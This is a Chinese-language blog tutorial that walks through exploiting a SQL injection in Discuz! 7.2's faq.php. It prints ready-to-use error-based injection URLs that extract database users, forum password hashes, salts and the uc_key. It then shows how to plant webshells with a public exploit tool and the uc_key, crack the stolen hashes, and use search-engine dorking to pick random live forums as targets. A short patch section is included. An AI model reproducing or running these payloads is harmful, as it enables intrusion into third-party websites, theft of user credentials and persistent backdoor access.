Discuz!7.2 faq.php檔案SQL注入漏洞分析及利用實戰
[antian365.com] simeon
最近網上公開了Discuz!7.2版本faq.php檔案SQL注入0day,通過對檔案漏洞分析以及實戰測試,效果不錯,公開利用exp的利用需要對SQL語句以及資料庫等相當了解,在某些情況下需要多種技術配合才能最終攻克目标,下面就漏洞代碼以及實戰利用等進行探讨,對擷取管理者密碼的利用,uc_key擷取webshell,插件導入擷取Webshell等進行探讨。
本次存在漏洞的檔案為faq.php,打開該檔案後,從第148行開始,代碼如下
} elseif($action == 'grouppermission') {
require_once'./include/forum.func.php';
require_oncelanguage('misc');
$permlang =$language;
unset($language);
$searchgroupid =isset($searchgroupid) ? intval($searchgroupid) : $groupid;
$groups =$grouplist = array();
$query =$db->query("SELECT groupid, type, grouptitle, radminid FROM{$tablepre}usergroups ORDER BY (creditshigher<>'0' ||creditslower<>'0'), creditslower");
$cgdata =$nextgid = '';
while($group =$db->fetch_array($query)) {
$group['type']= $group['type'] == 'special' && $group['radminid'] ? 'specialadmin' :$group['type'];
$groups[$group['type']][]= array($group['groupid'], $group['grouptitle']);
$grouplist[$group['type']].= '<option value="'.$group['groupid'].'"'.($searchgroupid ==$group['groupid'] ? ' selected="selected"' :'').'>'.$group['grouptitle'].($groupid == $group['groupid'] ? ' &larr;': '').'</option>';
if($group['groupid']== $searchgroupid) {
$cgdata= array($group['type'], count($groups[$group['type']]) - 1, $group['groupid']);
}
}
if($cgdata[0] =='member') {
$nextgid =$groups[$cgdata[0]][$cgdata[1] + 1][0];
if($cgdata[1]> 0) {
$gids[1]= $groups[$cgdata[0]][$cgdata[1] - 1];
$gids[2] =$groups[$cgdata[0]][$cgdata[1]];
if($cgdata[1]< count($groups[$cgdata[0]]) - 1) {
$gids[3]= $groups[$cgdata[0]][$cgdata[1] + 1];
if(count($gids)== 2) {
$gids[4]= $groups[$cgdata[0]][$cgdata[1] + 2];
}
}elseif(count($gids) == 2) {
$gids[0]= $groups[$cgdata[0]][$cgdata[1] - 2];
} else {
$gids[1] =$groups[$cgdata[0]][$cgdata[1]];
ksort($gids);
$groupids =array();
foreach($gids as$row) {
$groupids[]= $row[0];
$query =$db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN{$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN(".implodeids($groupids).")");
$groups =array();
首先定義一個數組groupids,然後周遊$gids(這也是個數組,就是$_GET[gids]),将數組中的所有值的第一位取出來放在groupids中。為什麼這個操作就造成了注入?在《進階PHP應用程式漏洞稽核技術》[1]一文裡的"魔術引号帶來的新的安全問題"一節裡,有提到通過提取魔術引号産生的“\”字元帶來的安全問題,同樣這個問題在這裡又一次完美展現。discuz在全局會對GET數組進行addslashes轉義,也就是說會将'轉義成\',是以,如果我們的傳入的參數是:gids[1]='的話,會被轉義成$gids[1]=\',而這個指派語句$groupids[] = $row[0]就相當于取了字元串的第一個字元,也就是\,把轉義符号取出來了。在将資料放入sql語句前,通過implodeids函數進行處理了一遍,implodeids函數如下:
function implodeids($array) {
if(!empty($array)){
return"'".implode("','", is_array($array) ? $array :array($array))."'";
} else {
return '';
}
}
很簡單一個函數,就是将剛才的$groupids數組用','分割開,組成一個類似于'1','2','3','4'的字元串傳回。但是我們的數組剛取出來一個轉義符,它會将這裡一個正常的'轉義掉,比如這樣:'1','\','3','4'
有沒有看出有點不同,第4個單引号被轉義了,也就是說第5個單引号和第3個單引号閉合。這樣3這個位置就等于逃逸出了單引号,也就是産生的注入。我們把報錯語句放在3這個位置,就能報錯。
利用上面提到的思路,通過送出faq.php?xigr[]='&xigr[][uid]=evilcode這樣的構造形式可以很容易的突破GPC或類似的安全處理,形成SQL注射漏洞。是以可以構造利用代碼:
faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)and (select 1 from (select count(*),concat((select (select (selectconcat(username,0x27,password) from cdb_members limit 1) ) from`information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tablesgroup by x)a)%23
(1)擷取mysql使用者資訊
http://127.0.0.1/dz72/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28user%28%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23
(2)擷取資料庫版本資訊
http://127.0.0.1/dz72/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28version%28%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23
(3)擷取資料庫資訊
http://127.0.0.1/dz72/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28database%28%29,floor%28rand%280%29*2%29,0x3a,concat%28user%28%29%29%20%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23
(4)擷取資料庫使用者名和密碼
http://127.0.0.1/dz72/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat((select%20concat(user,0x3a,password,0x3a)%20from%20mysql.user limit 0,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23
(5)擷取使用者名、email、密碼和salt資訊
http://127.0.0.1/dz72/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%20concat%28username,0x3a,email,0x3a,password,0x3a,salt,0x3a,secques%29%20from%20cdb_uc_memberslimit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23
(6)擷取uc_key
http://127.0.0.1/dz72/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x3a,(select%20substr(authkey,1,62)%20from%20cdb_uc_applications%20limit%200,1),0x3a)x%20from%20information_schema.tables%20group%20by%20x)a)%23
(7)對指定uid擷取密碼
http://127.0.0.1/dz72/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%20concat%28username,0x3a,email,0x3a,password,0x3a,salt%29%20from%20cdb_uc_memberswhere uid=1 %20limit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23
網上公布了可利用的exp工具,通過該工具可以快速擷取管理者密碼,但有時候admin帳号并不是管理者帳号。利用格式如下:
(1)直接擷取webshell,一句話密碼為“i0day”
php dz7.2.php www.antian365.com / 1
(2)擷取管理密碼
php dz7.2.php www.antian365.com / 2
(1)通過exp直接擷取webshell,如果不能則擷取管理者密碼。
(2)對管理者密碼進行破解。通過在cmd5.com網站對管理密碼進行查詢,需要帶salt,擷取的salt要去掉最後一個數字“1”,例如下面擷取
admin:c6c45f444cf6a41b309c9401ab9a55a7:066ff71,需要查詢的是c6c45f444cf6a41b309c9401ab9a55a7:066ff7
注意:有時候通過工具擷取的密碼不一定是管理者,這個時候就需要手工擷取管理者的密碼,還有如果有secques,就需要暴力破解。
(3)通過uc_key擷取shell
(4)進入背景,添加插件擷取webshell
(1)直接删除faq.php檔案。該檔案為顯示論壇幫助用的,功能相對獨立,可以在伺服器禁止該檔案的通路,或者直接删除,對論壇正常功能沒有任何影響。
(2) 手工修複faq.php
用編輯器打開該檔案,查找代碼:“} elseif($action =='grouppermission') {”,在其下面添加“ $gids= array();”即可。
通過google、百度等搜尋引擎搜尋“Powered by Discuz!7.2”,在出來的結果中随機選取一個論壇,然後在指令提示符下輸入“php dz7.2.php www1.xxxx.com / 1”以及“php dz7.2.php www1.xxxx.com / 2”,如圖1所示,直接擷取該網站的webshell以及管理者密碼。
圖1 擷取webshell以及管理者密碼
注意:
(1)需要本地搭建php運作環境,本案例使用的是ComsenzEXP X2.5,下載下傳位址:http://www.comsenz.com/downloads/install/exp/,安裝完畢後需要修改php.ini檔案,該檔案在安裝該軟體的php目錄中,例如“D:\ComsenzEXP\PHP5”,打開php.ini檔案,将以下檔案的内容修改為實際安裝檔案的路徑,否則執行php指令會報錯。
zend_extension_manager.optimizer_ts="D:\ComsenzEXP\PHP5\Zend"
zend_extension_ts="D:\ComsenzEXP\PHP5\Zend\ZendExtensionManager.dll"
(2)“/”後需要留一個空格。如果存在漏洞則有結果,無結果則表明無法擷取webshell或者管理者密碼。
在中國菜刀中對上面擷取的webshell進行連接配接測試,如圖2所示,成功擷取webshell。
圖2 對webshell進行連接配接測試
(1)擷取uc_key值
在本地打開config.inc.php檔案,如圖3所示,将UC_KEY值複制,UC_KEY可能是64位,也可能為124位。也可以通過檢視資料庫中的cdb_uc_applications表的authkey字段值。
圖3擷取uc_key值
(2)修改uc_key_dz72_me.php程式配置
在uc_key漏洞利用程式uc_key_dz72_me.php中需要手動配置host和uc_key的值,如圖4所示。
圖4修改漏洞利用程式配置
(3)修改discuz!7.2實際安裝路徑
在uc_key漏洞利用程式uc_key_dz72_me.php中預設是安裝在根目錄中,但在實際使用中有可能是安裝在其它目錄,比如bbs、forum等。如果不是預設根目錄,則需要在send()函數中修改uc.php真實路徑,例如修改為“/dz72/api/uc.php”,如果是預設的則為“api/uc.php”,其它保持不變。
圖5修改post參數
(4)執行利用程式
在php.exe程式所在目錄執行“php uc_key_dz72_me.php”,如圖6所示,會出現“1”的提示,則表明成功擷取webshell。
圖6執行漏洞利用程式
(5)檢視config.inc.php檔案
再次打開config.inc.php檔案,如圖7所示,uc_key中新增加了一句話後門代碼,使用中國菜刀連接配接,密碼為“cmd”。
圖7成功擷取webshell
(1)擷取uc_key前62位值。
在浏覽器中目标位址加上:“/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x3a,(select%20substr(authkey,1,62)%20from%20cdb_uc_applications%20limit%200,1),0x3a)x%20from%20information_schema.tables%20group%20by%20x)a)%23”
執行後擷取uc_key前62位值,如圖8所示。
圖8擷取uc_key前62位值
(2)擷取剩餘uc_key值
在上述代碼中将(authkey,1,62)修改為(authkey,61,64),如圖9所示,擷取uc_key值“j2J6”,去掉“j2”,前後值相加即為uc_key的真實值。如果authkey的值超過64位則修改為(authkey,61,128)。substr()函數一次隻能擷取62位值。直接使用substr(authkey,1,124)也隻能擷取62位值,如圖10所示。
圖9擷取uc_key剩餘值
圖10一次隻能擷取62位值
(3)擷取webshell
将uc_key值和host以及真實的路徑值進行修改,然後通過uc_key漏洞利用程式,成功擷取webshell,如圖11所示。
圖11擷取webshell
(4)修補程式漏洞
在faq.php檔案中找到action==grouppermission代碼所在處,在其後加入代碼“$gids = array();” 如圖12所示,儲存後即可修複faq.php注入漏洞。
圖12修複faq.php檔案注入漏洞
(1)擷取admin密碼,但不是管理者帳号
對目标網站通過漏洞利用程式,擷取管理者帳号為admin的密碼和salt值,如圖13所示,将其在cmd5.com進行查詢,購買該破解後的密碼後,使用其進行網站登入,如圖14所示,雖然為admin帳号,但不是管理者。
圖13擷取admin帳号密碼
圖14登入網站
(2)擷取管理團隊帳号名稱和uid
在論壇中單擊“論壇統計”-“管理團隊”,如圖15所示,擷取所有管理團隊的使用者帳号名稱,單擊該帳号可以擷取uid值。分别記下其uid值,後續在程式中還有用。
圖15擷取管理者帳号和uid值
(3)擷取真實管理者的帳号、密碼和salt值
在浏覽器中輸入以下代碼,擷取指定uid的密碼、email、salt值:
http://www.antian365.com/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%20concat%28username,0x3a,email,0x3a,password,0x3a,salt%29%20from%20cdb_uc_memberswhere uid=50477%20limit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23
執行後通過出錯資訊擷取其相應的值,如圖16所示。
圖16擷取指定管理者的帳号密碼和salt值
後續步驟跟上面的類似,通過破解管理者的密碼,登入背景,通過添加插件,成功擷取webshell。
<a href="http://down.51cto.com/data/2364669" target="_blank">附件:http://down.51cto.com/data/2364669</a>
本文轉自 simeon2005 51CTO部落格,原文連結:http://blog.51cto.com/simeon/1440000